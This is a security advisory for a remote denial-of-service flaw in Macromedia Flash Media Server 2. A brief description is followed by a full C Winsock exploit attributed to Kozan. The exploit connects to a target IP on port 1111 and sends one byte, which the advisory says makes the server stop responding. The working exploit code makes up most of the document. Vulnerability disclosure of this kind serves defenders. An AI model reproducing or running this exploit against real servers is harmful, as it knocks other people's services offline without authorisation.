Summary
"Macromedia Flash Media Server 2 software offers the unique combination of traditional streaming media capabilities and a flexible development environment for creating and delivering innovative, interactive media applications to the broadest possible audience."

A vulnerability in Macromedia Flash Media Server allows remote attackers to cause the server to no longer respond to legitimate requests.

Credit:
The information has been provided by Kozan.

Details
Vulnerable Systems:
* Macromedia Flash Media Server 2

Exploit:
/*********************************

Macromedia Flash Media Server 2 Remote D.o.S Exploit by Kozan

Application: Macromedia Flash Media Server
http://www.macromedia.com/software/flashmediaserver/
Vendor: Macromedia

Discovered by: dr_insane
Exploit Coded by: Kozan
Credits to ATmaCA, dr_insane
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

*********************************/

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")

int nDefaultPort = 1111;

char SingleDoSChar[] = "\x41";

int main(int argc, char *argv[])
{
fprintf(stdout, "\n\nMacromedia Flash Media Server 2 Remote D.o.S Exploit by Kozan\n");
fprintf(stdout, "Bug Discovered by: dr_insane\n");
fprintf(stdout, "Exploit Coded by: Kozan\n");
fprintf(stdout, "Credits to ATmaCA, dr_insane\n");
fprintf(stdout, "www.spyinstructors.com - kozan@spyinstructors.com\n\n");

if(argc<2)
{
fprintf(stderr, "Usage: %s [Target IP]\n\n", argv[0]);
return -1;
}
WSADATA wsaData;
SOCKET sock;

if( WSAStartup(0x0101,&wsaData) < 0 )
{
fprintf(stderr, "Winsock error!\n");
return -1;
}

sock = socket(AF_INET,SOCK_STREAM,0);
if( sock == -1 )
{
fprintf(stderr, "Socket error!\n");
return -1;
}

struct sockaddr_in addr;

addr.sin_family = AF_INET;
addr.sin_port = htons(nDefaultPort);
addr.sin_addr.s_addr = inet_addr(argv[1]);
memset(&(addr.sin_zero), '\0', 8);

fprintf(stdout, "Please wait while connecting to server...\n");

if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 )
{
fprintf(stderr, "Connection failed!\n");
closesocket(sock);
return -1;
}

fprintf(stdout, "Please wait while sending single DoS char...\n");

if( send(sock,SingleDoSChar,lstrlen(SingleDoSChar),0) == -1 )
{
fprintf(stderr, "DoS char could not sent!\n");
closesocket(sock);
return -1;
}

fprintf(stdout, "Operation completed...\n");
closesocket(sock);
WSACleanup();